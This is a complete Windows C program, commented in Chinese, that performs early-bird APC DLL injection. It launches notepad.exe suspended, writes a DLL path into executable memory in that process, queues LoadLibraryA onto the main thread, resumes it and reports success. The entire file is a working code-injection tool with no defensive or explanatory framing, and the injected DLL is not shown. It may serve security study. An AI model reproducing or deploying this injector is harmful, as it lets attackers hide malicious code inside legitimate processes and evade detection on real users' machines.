#include <stdio.h>
#include <Windows.h>
int main() {
char* dllpath = "C:\\Users\\finback\\Desktop\\MyDll.dll";
// 初始化STARTUPINFO和PROCESS_INFORMATION结构
STARTUPINFOA st = { 0 };
PROCESS_INFORMATION prt = { 0 };
st.cb = sizeof(st);
// 以挂起状态创建目标进程(如notepad.exe)
if (!CreateProcessA(
"C:\\Windows\\System32\\notepad.exe", //目标进程路径
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, //创建挂起状态
NULL, NULL, &st, &prt ))
{
printf("无法创建目标进程,错误代码: %d\n", GetLastError());
return 1;
}
// 获取目标进程和主线程的句柄
HANDLE victimProcess = prt.hProcess;
HANDLE threadHandle = prt.hThread;
// 在目标进程中分配内存,用于存储Shellcode
PUCHAR shellAddr = (PUCHAR)VirtualAllocEx(
victimProcess, NULL, 0x1000, MEM_COMMIT,
PAGE_EXECUTE_READWRITE // 内存权限:可执行、可读、可写
);
if (shellAddr == NULL) {
printf("无法在目标进程中分配内存,错误代码: %d\n", GetLastError());
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}
// 将dll写入目标进程的内存
if (!WriteProcessMemory(
victimProcess, shellAddr, dllpath,
strlen(dllpath) + 1,NULL))
{
printf("无法写入目标进程内存,错误代码: %d\n", GetLastError());
VirtualFreeEx(victimProcess, shellAddr, 0, MEM_RELEASE); // 释放内存
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}
HMODULE hModule = GetModuleHandleA("kernel32.dll");
PVOID func = (PVOID)GetProcAddress(hModule, "LoadLibraryA");
// 将APC函数排入目标线程的APC队列
if (!QueueUserAPC(
(PAPCFUNC)func, // APC函数
threadHandle, // 目标线程句柄
(ULONG_PTR)shellAddr // 传递给APC函数的参数
)) {
printf("无法队列APC,错误代码: %d\n", GetLastError());
VirtualFreeEx(victimProcess, shellAddr, 0, MEM_RELEASE); // 释放内存
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}
// 恢复目标线程的执行
ResumeThread(threadHandle);
// 关闭句柄
CloseHandle(victimProcess);
CloseHandle(threadHandle);
printf("注入成功\n");
return 0;
}